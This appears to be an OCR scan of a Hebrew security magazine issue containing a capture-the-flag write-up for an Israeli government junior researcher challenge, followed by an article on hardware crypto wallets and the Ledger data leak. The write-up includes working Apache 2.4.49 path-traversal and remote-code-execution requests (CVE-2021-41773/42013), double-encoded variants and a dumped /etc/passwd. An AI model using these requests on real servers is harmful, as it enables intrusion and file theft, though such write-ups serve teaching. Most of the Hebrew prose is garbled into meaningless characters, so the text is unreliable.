yTnn NXanN2a NN 7"on ntn nNpNAL NT NX NIYYY? NIXID1 0'DIT 190N (RN .N7'NNo'm Xaniny

.Yali7n 7w metadata-a

NX'2NN7 0'YTN NNKR) RGB DY 7nwY 0XK K7W NIVAXK MPTRNI MANKD 1710 0T (17w 'mnan

(NFTOR R "N'OMANALO"T 1WA NIV KNAIT WL YA VTN

Steganographic" wI9'NN MKRXN NI "7 ATV'Y "D 'MuO'NI 72127 Mwa 001NV 07D 221N
'7R NamNn NNV “https://futureboy.us/stegano/decinput.html” "nxn nNxX n72vun "Decoder

22T DX RN

Steganographic Decoder

This form decodes the payload that was hidden in a JPEG image or a WAV or AU audio file using the encoder form. When you submit,
you will be asked to save the resulting payload file to disk. This form may also help you guess at what the payload is and its file type.

Select a JPEG, WAV, or AU file to decode:
| Choose File | flag.jpg

Password (may be blank)

® View raw output as MIME-type |text/plain |

O Guess the payload
() Prompt to save (you must guess the file type yourself.)

Submit |

J“stego_flag_2023" :7aTn
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"Findme" 'w'wn "ANNN

S22TN DR XI¥N7 WA Tl Find.Me DwA Yalp n72y

Junior researcher challenge

Challenge
Find Me (3@0)

Find Me
alyst challenge

r CV only after submitting all the answers (@) 300
campaign (500)
APT research (56@)

Find the hidden flag

Information processing (508)

X Find.me

Submit

NANKA [NNS

YaIzn D AR (Yalpn 210 IR DpTIaN opi'? nTipo) file NTIRON NIYYNKRD YaI7N 210 DX 'M7Ta
MINN MY 9T TIP DX [INQ7 T VORL NIV NIVXNKA YaIPn NX 'MNNS ,HTML-I '7X100770
'M{NN) NINNN DX X' D 1Wn DX ‘MY L “display: none”-3 nnTain (base64-7 nnin) nXann

0T TR 2270 VI9IN DAL NAXIN NAINNN TN NN PRI . (display-n W N

<. id="image" style="display: none;"3
i <img src="data:image/png;base6d, iVBORwWIKCGgoAAARANSUhEUGAAAIYR
</div>
<script>

const username atob ("SUSDRA==");
const password = atob("SUSDEA==");

function validate() {
const enteredUsername = document.getElementById("usernan
const enteredPassword = document.getElementById("n

CCWOT

if (enteredUsername —— username && enteredPassword ——
document .getElementById("image") .style.display = "]
} else {
alert("Invalid input”);
}
}
</script>
pdy>
Emlz>
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MWD 1197 9T

Login

Username: |

Password: |

MWD NKRY QTN

Login

Username: |

Password: |

“{INCD_RULES}” - 7aTn

25
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Junior researcher challenge

use the map (300)

Junior webint analyst challenge

"use_the_map" - 'v'awn 1ANKN

J22TN DR NXIXNT NWATN9N 7w naimn 172y

Challenge

use the map
300

Send us your CV only after submitting all the answers (@)

Activists campaign (500)
APT research (500)

Information processing (500)

Unlock Hint for 50 points
Unlock Hint for 50 points

X use_the_...

‘ Submit

NANKA [NNS

,(?77210) NoNN g 7aTh L [P 727N DR X'ANNYT [N N9'R 'MAWNI Yal7n 7w metadata-2 'Myswo

Swansons Nursery

NW 96th St undview NV

L7270 NX 'MR¥N “Find Waldo” 7w 1xj7 pnwn MnxI

Blue Ridge
Circle

NW100hSt  BLUE RIDGE NW 100th St

MN aAY ig

NW8SthSt o .

N Neard st
W A\
S (] !
> v
z
3
z
z Benjar
NW 80th St N 80th St N 80th St
= 1k
S E

Carkeek Park Eddleo
McAbee Entrance’

AL fes

FuneraliHome
& Cemetery

@

Voff Dog Park

MN 9AY pig

4
N
N Aep 2B3jj00

ictor

Spings Rark
LICTON SPRINGS

NOAY poomuasiy

i
MN @AY pig

N92nd

MN 2

Q

N 90th St

by ajduns Amn

GREENWOOD y gsth st

N 85th St N 85th St

“very_simple_flag” :7aTh

26
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Challenge

Congratulations for completing the FIRST PART
of the Junior researcher challenge

well done! You solved the first part of the Junior researcher challenge!

Submit your CV to: -gov.il
And note job number:

You can continue the challenge and earn more points that will be taken into
account later in our review of your submission.

In order to finish the challenge, enter 100 in the flag field

Good Tuck!

Submit

Mwn yojmn IR NN
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"Connecting People" :1'mwn 7ANKN

YWY 010'07 T WNNWN pINN N2 XNO'0N NX WON7 NIX 1NN PCAP 1727 Nt 1anxa

Junior researcher challenge

challenge

Connecting people
300

Connecting people (

Junior webint ana challenge The SOC handed over to you a PCAP file
our CV only after submitting all the answers (@) find the password the attacker used to
s campaign (500) connect to the server
arch (500)

Information processing (500) X challeng...

Submit

NANKND [NNO

2120 NI9XIN K71 0172 XNO'O KIXNY T2 D 'MNIn ,POST alon HTTP Niwpa N ™7 [IWXKIN WIDNN

.0'090 NN*"W7 Niwnwn POST requests-1 HTTP 71710192 N'nN nwpanw

.0'019N WY'91N NAY NNKXK NNXNN 2 NN'n L KI

M challengePCAP papng - o X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tool: Help
Am i@ RE g i Eaaan
W [ http.request.method == "POST" 3 -]+
Ne. Time Source Destination Protocel  Length Infe
1668.. 499, 288124 192.168.188.135 192.168.188.134 HTTP 684 POST / HTTP/1.1 (application/x-www-form-urlencoded)
Frame 166803: 684 bytes on wire (5472 bits), 684 bytes captured (5472 bits) on interface \Device! 20 14 fc ef 80 0@ 50 4f 53 54 20 2f 20 43 54 54 PO ST / HTT
Ethernet II, Src: VMware_3d:38:15 (89:8c:29:3d:38:13), Dst: VMware_ed:eb:6f (09:0c:29:ed:eb:6F) 58 2fF 31 2e 31 0d 8a 48 6 73 74 3a 208 31 39 32 P/1.1- H ost: 192
Internet Protocol Version 4, Src: 192.168.188.135, Dst: 192.168.188.134 2e 31 36 38 2e 31 38 38 2e 31 33 34 @d 0a 43 6f .168.188 .134 -Co
> Transmission Control Protocol, Src Port: 58588, Dst Port: 88, Seq: 1, Ack: 1, Len: 638 Ge Ge 65 63 74 69 6f 6e 3a 28 6b 65 65 7@ 2d 61 nmnection : keep-a
© Hypertext Transfer Protocol 6c 69 76 65 Bd Ba 43 6f bGe 74 65 6e 74 2d 4c 65  live.-Co ntent-Le
v HTML Form URL Encoded: application/x-www-form-urlencoded Ge 67 74 68 3a 20 33 38 ©d ©a 43 61 63 68 65 2d mgrh: 33 - Cache-
Form item: "username” = "Pitbull” 43 6F 6e 74 72 6F 6c 3a 20 6d 61 78 24 61 67 65 Control: max-age
Form item: "password™ = "incorrect! 3d 38 @d @a 55 7@ 67 72 61 64 65 2d 49 be 73 65 =@ -Upgr ade-Inse

63 75 72 B5 2d 52 65 71 75 65 73 74 73 3a 28 31 cure-Reg uests: 1

9190

©la@

8168

81cl

e1de a

#1ed ebp, imag

e1fe /*;9=0.8

8200 ion/sig

8218

o220 B 20 BReferer @ http:/
2f 31 39 32 2e 31 36 38 2e 31 38 38 2e 31 33 34 /192.168 .188.134
2f @d @a 41 63 63 65 7@ 74 2d 45 6e 63 6f 64 69 /- -Accep t-Encodi

© 7 TheTCP payload of this packet it load), 630 bytes Packets: 177022 - Displayed: 1 {0.0%) Profile: Default

“incorrect!” 121N
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"Can you see?" :'V'UNn NANKN

Y21 TR TR DR 172071,]101 K7 Referer 7y nNAw 117 'Tnnw 717 MW7 1727 'Nd1IN NANXK2

Junior researcher challenge

Challenge

can you see?
400

can you see? (400) The flag format - Flag{This_is_Example}
Junior webint analyst challenge
Send us your CV only after submitting all the answers (8)

Acti s campaign (500) php

APT research (500) Unlock Hint for 50 points
Information processing (5@@)

& source_c...

Submit

KRAYUN NIXR AN WA

Bad Referrer! Trv Harder!

NANKN [NNO

,0191¥90 0DV DY HTTP Headers nwi7W7? Nox¥n INKN D D'RN 121 PHP TI D'WAID X 9T T2
N MNRNIN DYTIN XY D'WATY X DANKD DX NINSY ') .Referer Header n'n' K7W wAITI

YA QTN 0'DIYN DY NYTIN MY 1AL, Burp Suite 221 mMunnun

TN TP 7270 NN N7 - D'wN TN D-Header-n NNYW NN [IKI

A
= )
0 'O
[T 2
Q.0

= array (" g ¢ i Y : max I "y TX=X t t n: ")

)7

e}
L
=

ag="1 ;
isset ($_SERVER[ 'H1 REFERER']))

Hh Hh B e
~H S

“ e n

lecho "I
}

else

foreach (getallheaders() as $name => $value)
echo "S$name: $value\n"; array push($input, "Sname: Svalue");
}
if (count(array_intersect (Shead, $input)) == count($head))
writeMsg () ;

else
echo "
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2apnnw a1 burp-a nwpan

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn 5} Settings
1% + Q
m & cance <|r Target: https://incd-challange-can_you_see.chals.io é) HTTPA @

n [
Request a

Raw Hex \n =
GET /index.php HTTP/1.1
Host: incd-challange-can_you_see.chals.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
18 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: cross-site
12 Sec-Fetch-User: 71
13 Pragma: cache
14 X-X55-Protection: @
15 Cache-Control: max-age=500

@ NG W B W N

-]

16

17

@E | €| > | search 0 matches
Response

Pretty Raw Hex Render = W =

Host: incd-challange-can_you_see.chals.io User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif image/webp,*/*;q=0.8 Accept-Language: en-US en;q=0.5 Accept-Encoding: gzip,
deflate, br Dnt: 1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: 21
Pragma: cache X-XSS-Protection: 0 Cache-Control: max-age=500 Flag{missing_hEader_Fl@g}

“{missing_hEader_Fl@g}” 72T

221 MIayn Y7 00 WWOKRN ,Web '00Ian 0NN NNVAXR NIP'TA? Y7 NN Burp Suite ,2aN
PortSwigger owa n1an v nnion (Pro) NX7nn IN01A2 720 .NNYTN T 7w 710182 2IwN TINN
NINI N7'NEn DY 2NN qIN'wa nnNidnn Community Edition DA nn' ,NXT DY X .DI7WN2 KINI

© ynx71 AN 17V 2'nNT yrmn NIz nn Y07 vt .nine X7 Ny

https://portswigger.net/burp/communitydownload
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https://portswigger.net/burp/communitydownload

"Let’s Go" :"'wyn NMANKN

nwATI “It Works!” ;00700 NX 7'onn 17 e 172 INIR N91AaNK? qaoxnw ai_il32-7 nTin

22710 X NIxnY

Junior researcher challenge

Challenge

Lets go
400

The flag format - Flag{This_is_Example}
Decrypt Me (400)
Lets go (400) https incd-challange

Junior webint analyst challenge

Send us your CV only after submitting all the answers (@) Submit

Activists campaign (5080)
APT research (500)

Information processing (500)

NANKNA [NNS

NIX0 0'AY X7 775 77172" 17w 0I0'Y 0'1DX [XD1,'IN'VO0R P'OX DY XY'NN ,JANKD [NND T JIN
(Apache 2.4.49) T2 YW Web-n N NONA NX 117 a'vn T2 Response-n 7y van ."ono nny!

TI7 DX ,0'NMI0N DN X NIWONNN Path Traversal NW7iN 127 KXIN 72122 NONAN 7¢ wio'Ni

.Apache-n nona 7y

Path MIv% TP NIYTR NIYIID 1901 101310 Apache ¥ IT NONAW PN Nyan aw?inn
URL-2 D'IMN DX 72177 NNO'YY 110N WATID NTRON X7 NIWTNN NIYY190 NNXR .Normalization
3 2w 27 D 1w ik TITR) "URL Encoded"-> DrTTIzA 10 DYINNI NT'RA X ,Unicode find

Y9N 7Y 1'0N DR qIpy'7E "Dt 0'in TNRY AN - (TTI M 1wt 0Yin

-0 MY MY nwamn NP7 Wl Dt pimn Dvn 7 ,neinn nx X7 ot nav nan 7y

D N9 WK Apache

<Directory />
Require all granted
</Directory>

N2N 91X GET nwpa 0'n71vi nT'Nnav D

‘ GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/ HTTP/1.1

N'P'NN NI70an DRYY QPIN? Awornl 7w ,NNIR 'onl "L/" n'ann NR NINT? MmN 107'9n

© 10507 NN 117 'K X TAM NWN TXD NYT? 1712 X7 [amd “‘wwwroot™) TN
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773

NW2INN L “/etc/passwd” yalpa "NNONY 72T DX 1727 - ORI L,NW2INN NIX W ai_il32

user@kali: ~
File Actions Edit View Help

host

curl --path-as-is

N " /etc/passwd”-n yalp

./PoC.sh targets.txt /etc/passwd
https://incd-challange-lets_go.chals.io/
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbhbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12 :: /usr/cyrus:/sbin/nologin
vpopmail:x:89:89:: /var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ww-data:x:82:82:Linux User,,,:/home/ww-data:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false

Flag{U_Find_/\/\!

“Flag{U_Find_A/\!Y a1
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NX'N D N7aNn QoI YpPnn Dy X ,Path Traversal-a nnoI9 X'n n7'nNa ,7"1n nwhIN% yvana aax

N2 91X, NN 7Y TIR N¥AN D2 (7Thn 11N 1130) 17T mod_cgi |N1'na ,NYONN

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: [TARGET]

Accept: */*

Content-Length: 7

Content-Type: application/x-www-form-urlencoded
Connection: close

echo;id

IMIX DN Y M0 DR QIPYY? 2ON1a1LE0 91K NAZIN R D A7ANN ,NIPIN AY7INN UKD

IDouble Encoding-> TTiimn xin Ywxd ("../") pirma o'inn gxn

y'iom 1197 qWwxd " 9w porn wn) "%2e"-7 it "ox77" URL Encoding-a "." 1m0 DRY )2
7w AN X MINKRYE TI912 “27 7w it R amin? 1'7v Double Encoding nnn ,nwd L("%" [nron

NIPAN NYPAN NRY PNI.%%32%65 X¥I'Y NN .“%” q'oIn? Dn1971 URL Encoding-7 7912 “e

N2 91X NI7WY Wt

GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1

In the N2 wnnwn "1y DI IN'T TWURD 174 NY7INN NRY 1910NYW T I'"yn Nt Ty ,© |'"yn

wild

JIND RINP'7 DD7 Y'mn xR ,nw7Inn v yT'n Ny

https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-

traversal-remote-code-execution-cve-2021-41773-cve-2021-42013
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https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013
https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013

"Decrypt Me" :qWy TNXN NANKNN

TIN KIXN7 WA D 127 MK ,NNIK NIWDT7 NWATA Xor NIYYANA NIONINY NV TIN 1727 0T NANK2

.AMY9 INX INN 7w ascii-n 190N + 7210 IR 'TNNYTE 72T

Challenge X

Decrypt Me
400

You have been given some part of message that has been manipulated in some way
along with XOR 1 character key.

Your task is to write a script to decode and decrypt the message and reveal the
original message.

The encrypted message is: =AEShtGbDBnacFHZgdnQ

Your script should print out the original message. the final flag is

"Original Message -Xor key" for example if the decrypted original message is

"YesweCan" and it was encrypted using XOR key 9, insert the final flag in the
following format : {YesweCan-9}

Good Tuck!

Please attach the code to the mail

Unlock Hint for 100 points

0/4 attempts

Submit

NANKA [NNS

NI NIX [IN27 X7 X'N MANKN N0VA L [IYRIN MANK 11'RWY '9D1 DTN N19¥ND Nawnl XOR N1oxn
NNON/NYTINN 2V D TPn YT 7273w N1n7 [N CTF-n 27N> XOR N19¥n Nwo? * 11 - n7w a1wnnn

.NIYSN NX 117 TWWONNY NNONA/NYTINA NNIAA NIFMITN ATNNY IR N19¥NN

byte DY NNIX V'RYNY N ,'MITA 210D - T'N' ascii IN DY NI9XIN AYTINN D 117 1K 17¢ Mj7na

'V NIKXINN 2V 112YY7 T2 ¥ 7'901 - 17w Npna NINYSIX DN 256 - TNX
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IX7 - TA72 ”11mn” VoRL 7Y YWISNI NPMO YX¥IA7 [N D' ,NNI' NI NIV 0227 1101 NT'NA

77N NI'R D NINY WORY “Delete” N71Y9N NIX AX'MN N Y'OIN [N NIYTIN? on'NnY? X7 ,["vn

7w TN

J2TN DR CMIRYNA X721, TN byte-2 NIMMWOKRN NIX NOMY T 'NAND

"="-n) N7NNNYT qI0NN 19N TXI base64-7 NNNN NNV NIOXINN DY TINNY |1 N'7¥N X7 NNYON

72T NN MIXYN DRI NN 'M90IN .(72 7V TN qioa

-N1yonn Tipn
string
basetd
encrypted message = "QndgZHFcanBDbGrhSEA=" # Original Message
encrypted message = basc64d.béddecodes (encrypted message) # Decode To ascii
key ascii range (256) :
decrypted message = ""
char encrypted message:
decrypted char = chr(char © key ascii)
decrypted message += decrypted char
decrypted message.isprintable(): # Printing Only relevant output
key bytes = bytes|([key_ascii])
(decrypted message, key_ascii)

NNWIBNN NYTINN

CvaeplkqBm)*IA
@ubfs"hrAnicJe
Atcgr_is@ohbKC
Fsd*uXntGhoelD

DqfbwZ1vE jmgNF
Epgcv[mwDk1f0G

“IGreatYouFindMe-5}" :7a1h

TNXI 09X) DIY D'V "IW 1IN A 1 NN'Thn N?I1Y9n ,0'01] y¥aY |NY N71V9 X'N XOR :nywn

]'II"I'|7'7 X' XOR M19¥n .(TNXI TNX IX 09X 09X) D'NT 0V’ 1IN QY 0OX N'TNNI (0OXI TNX IN

NN |[IYRIN 017 NYTIN [IUXRIN 0N |2 XOR N71Y9 YIX'AI 0'0'27 DNINN NI9¥N NNOAI NYTIN

- NVTINNN X NNONAI NTNAY [I1I'D ,AVTINN T’llN'? NKXIYN] NNONn T’IIN") na'wn U AR |21

.N19¥N2 NI'NITN N?'NNN
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Challenge

Congratulations for completing the ENTIRE
Junior researcher challenge

well done! You solved the entire Junior researcher challenge! Those extra points
will be taken into account later in our review of your submission.

Submit your CV to: -gov.il

And note job number

In order to finish the challenge, enter 100 in the flag field

Good Tuck!

Submit
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Did'o

,011Y 0'RYN [INN 970 7ANKRN 'MYINNYT .01' 722 NIYY 1900 DY,-+ D' Y172 1ANKRN DX 'Nn'o
MPN/NNDN IYAT DPANKND 70 (N9NN JANK) VAW NANK VYN7 .MV ITY NN X - PAIV7 X7 IR

Nun

NA'YN WIITY DANKRN 1290 0N 0'N'YY721 01NN 70 DX 'MNNS ,Writeup-n NA10Y7 Y7 271NN 12yna

:NQAIT? ,N'NIvnwn 0IvsY

TCP X ,HTTP NN 2yv7 MR D'™n - (PCAP-2 p7inmn 22Tn NR'YN) 'W'WN AaNKn e
.Base32->Base64 |'2 nnin nyxIa I Stream

.N9N2 72N0N7 NN'YR NN TN - (NONAN JANK) 'WIAWN NANKD e

.n0nXan ran! 9 |n|7'7 DA DNIY,TINA Y'WYNL'YUN NANKNNA 'NN

NnITINn

hanxn 72v 7"on7 nTIN @
ININNOI 10 727N7 Qox¥nY ai_il32-7 nTin - e

NTYN 7Y (cp77fkdr) In'0Op 'OX7 NTIN

ANnn 7y

2 KT .Wawim 0-CTF 221N . MIYENI DMWY DNYRN IR 24 12,773 D) Ny

https://www.linkedin.com/in/noam-galili-375703264
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[INXI DNIN '00Ian 07X 7Y

12177 [naine 11y NXN

nNTEN

N0 DTN DAY NI 17N DYIZO1N 90 .0'WYTIF 0710 DT DX CDIRANE D21 X7 109 7n D71y

NID [I'VIN .NITIY |'ONI 0NN 072101 'UOIN Y20 NIFT7 "1 R¥NIN *17012 101D KIN 7750 7aR
MY ,17w 0'9001 WNNWN XIN N2 )TN NIX 1IN NIN'N-12 KIN 1700 N7'0pn 7270 XInY m 'Dw
N7 R'D 02 R 7Y Mapnnn L P .XW? DNIA0 0770 W' naan In ont L 7aph 7 ,nawnk
VIAW YN NNIX 12107 ,2UNNN 7Y DTN N1IN 'PNn7 1XYW 2010-1 X7 DNIX L[121 :01W9 12T

WP MDA N'AI71ID0N 72K, IR X7 TR O wNn 7In

a¥N YNl 1207 X'N NNUNN .02 MY (11D NIXANTE 07011 K70 20WR ND2 0*aI711000 YITN

N¥I' QOOW 1197 NIXN NI NIFNITTN NIR2INN D2 271 ,007W 90dN 7D NX 211A7 TIKN 777 12w
70 DT NNEL2101 RID PIIRD 7Y 1200 70 NN [ L NI0IWD XY NIV VXD DD7Y INNN
M 70U TI0 YAI? P1IRN DY TAYN] 172N DNN,007W M71700 19700 7V 72X DNIZNN DX 2121
,0'77w 0NN 7¢ NN DD7 W'YD TNN] DT .027W 0'D0dN 72 NN NNRYT 710' DTN YaIp? nwha 17 w'y

.0ONIN PR DXL P27 .NIND 21T [11'7'0 DR TR DNXWD 72X ,0V97X 17'9X "IN IN

nnin '‘ooian N0'y7KX

7V NNLAIRA NI¥2 DDYY 10970 NINNON NIX Z'TANY 1'WDN RIN NNNIN 72X 2D00NIN 22X DT NN

Y'Y X'D NNIN 7R 79 RXINN NNIN .YIA AWNNN DX DA NIR YN97 IX Y7N7 TWOKX 'RYI ,1'WONN
PPINIL|19700 7V IN'NL 010 D7 W' DX PNIXR DT NNLL|I970N IN AWNNN 7V IR0 010 IX 0N'1 DY
DX ,NRT N7 19700 7V D0™MY 17 W' D P1IRD DX [707 710 0100 TR ,|19700 7Y DD7W 10970
TN 12 a7 710 XY (19700 TIY" Din 272 XX (19700 7Y NIRYNY X7 Dd7W 1090 NINNON
NTIAY NIYY7 1XYW INIX DA DT 900N NX 217 WK Nt X7 19700 7V IR0 010 N'D' DX DA

2V D2 NY'DIN NPOYN D INK 71L,[19700 7V NPOYN MR DWRNA [IWRIN 27w 190D NI7WYT "D nwyi

J1DNN IR NN'7 N2 72K, XD N'9*7NN NIXA 1091 17012 WNNWN'? 1710 IR ™
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https://www.comparitech.com/crypto/bitcoin-statistics-security/
https://2jk.org/praxis/?p=6158
https://2jk.org/praxis/?p=3613
https://www.ledger.com/ledger-101%25e2%2580%258a-%25e2%2580%258apart-2-why-hardware-wallets-are-secure
https://medium.com/radartech/hardware-wallets-explained-da8bd93ce801

Technologic

(NN™7WN NN DX 9T IRV 010N 1AW 2N YIINYT 'T2) NINT NINZOYN 'MW DN .71IXN 7w jonn

KRXI'00NI,0MYUNN TX

NV MIX N7 .007W 9032 NU'™7YW 71IRN DX XYW MY 'RXY KIN NOnin 70X 7w aiwn Dn Yon
| |

75 75 A1 .D27W 9007 NWA? 710! X7 ,0N7W 1aN X71,0W TAIVW M K7 ,Z1IRD DX N1AW ' X7 ,TNR

NI0NA .07V LIYD KIN D'M'IoN 0'91A T 7V VW) Q05nwd 109N D71y2 D'NN 0N ' AN
DX NI72 .NNVAX NIXID T 7V 17V9IN 0'NdN D'TIN 720 10YWD |IN™M 'NN'Y ,1X19]1 O'90D I'ThnY

.02 NN D'P'TAN K7 DNX TX,D007W NINN9N] NFTY'71 NO'Y7Y 'R 009

NTNNNN .12 DTN DNXR DY9 771NN KIN 728N NIX D117 DNRWD :DNIN 228 7W NN Il
.027W oo 7D NN NNPT7 710 I'X w17 W'w m 'DW TIo KD L,D7T 24-n 99D 0T nAdINY LI
NIOX NN '722W DONIX DMTA DT 7722 :W'w MI71919 DN ND'PNN NI0PI AT OIIX'T WNNN K7 ATl
¥ 72IXN DX ITAW? DY DNXR DRI QYNNI [NIR T97707 0K ,|"722IK N7RD 070 24 X QImdY7

JIYINN PNINY NDAINA 2D KN PR D 2007 ANK DN 722 K71 7282 70 [NIK |'TRY

16.
19.' 20.ScCURE
22 23.C0L 0 24.STRAGS
Crypto: ~ . safe Seed® .5 J)

[ I

[awnn 7y jonixn X71 nNI7n 7Y VNN Seed-n :NNVAIRA '12'2 NN 'R D)

7Yl nivnwn DnY? I'K MK 22 .0n%7W XM At X DM LD OX ,NNIN 'R DNX"NN NNan

.Ledger-1 Trezor :0""7270 DIZNY Y UTINA TV I'N 1091772 NININN 7R 7Y

.DN7W NXIDSNN NN'WAT INTD 1AW YT NNVAN V'K 1IN ,NTN 1ARAN 7W XWNDD R'NY ,Ledger
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https://support.ledger.com/hc/en-us/articles/360000380313-Manage-your-private-keys-own-your-crypto
https://trezor.io/

Technologic

InX N''ya

NaImd> oy TN ,Ledger 7w NN 1WDW D'WIN 7w 7' NIAIMD Nn'wiwd 2020 Nawa A A1
I'UDYW IMIX NT 2NIX DT NN .NN0VA 222 XY AT D TN 210 ' K7 DT .197T DNYi 0N7W Ni7wnin
NPY D'WIR 7Y 07¢ YT 1IN NYI1 11Imon
D'YIN 7U NN W NI 109177 nnin 71X
DNIX .D"NIYAYN D'MIDO D'P'ThNY NI 70'w
7v NIMyE ' NINNRN DIYN WITYL D'WIR

.N9'PN 'al0 MY

L0y X7 0T 22'W'D A1'WID NN [TUXRIN AI0ON
nitnnNn NVTINNYI 'oMyp nraY J9In N7 gt

7'M nwTIN 17a'g D'wax Ledger-n NIyTInYg

ANRA DTV 17N L,NDINN_ DX [DTV7 )XY

2WNN 07’0 24 DX QN7 IYPANN TN 9UTN

[Ledger mNan 7w Nano X :nnin ooian 71x]

721 ,NT DX 1YWY D71 7109 DT NN71 NN '2n7 *1D 100 YT 0MTY1 O'WIRD AN (1970 NNy Dal)

NZ'079 DYT1 11'W'9N NN NINT? VIYD :Y1IIN7 N'ON' D' 7Y NNAIN IT 72X .090D 10'N NN ITA'N

[awnn 7y 070 DR 77PN R Nnikg

AYOXKY MNIX AT 109"y X7n N1 DN W'w D'YIR 7w nnwn wt iy SO NP XIN WA aIoN

AINK WIR,720,TITAN' DN TN D'wn X7 DN DRY T'2an71 D17 Dn'? nikdnY? ,n'71n 7y 0nY? 71917

NID 017 1InUMY W' DX ,9102 ,Ledger 7¥ N19YNN NIV NN MY X7 IR AT .N0'No nimny

AYN NNLVAXNNY TY A nI'7n!

DUNITT 010 DAXIA DY [INXNN 770 ITNYY? ,UTINN TV ,INY7X¥N 71X Ledger ."anT "2y XIN |INKR TX
QIN'Y M9 1'N 7" [1IDTYN .NNRD NDINN [IDTY NO'NT OY N7'NNN N'YaN .10 pwnnl ,unnun?
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https://cointelegraph.com/news/ledger-data-leak-a-simple-mistake-exposed-270k-crypto-wallet-buyers
https://www.coindesk.com/tech/2020/10/27/convincing-phishing-attack-targets-ledger-hardware-wallet-users/
https://www.coindesk.com/tech/2020/10/27/convincing-phishing-attack-targets-ledger-hardware-wallet-users/
https://www.coindesk.com/tech/2020/10/27/convincing-phishing-attack-targets-ledger-hardware-wallet-users/
https://decrypt.co/54319/ledger-users-get-phishing-phone-calls-after-database-leak
https://cointelegraph.com/news/doxxed-ledger-users-in-danger-of-physical-harm
https://cointelegraph.com/news/doxxed-ledger-users-in-danger-of-physical-harm
https://www.ledger.com/recover
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https://www.coindesk.com/tech/2023/05/16/ledger-bats-back-criticism-of-new-wallet-recovery-service/
https://www.coindesk.com/tech/2023/05/16/ledger-bats-back-criticism-of-new-wallet-recovery-service/
https://www.coindesk.com/tech/2023/05/16/ledger-bats-back-criticism-of-new-wallet-recovery-service/
https://twitter.com/Ledger/status/1658463730676518920
https://blockworks.co/news/ledger-responds-recover-reactions
https://2jk.org/praxis/?p=6289
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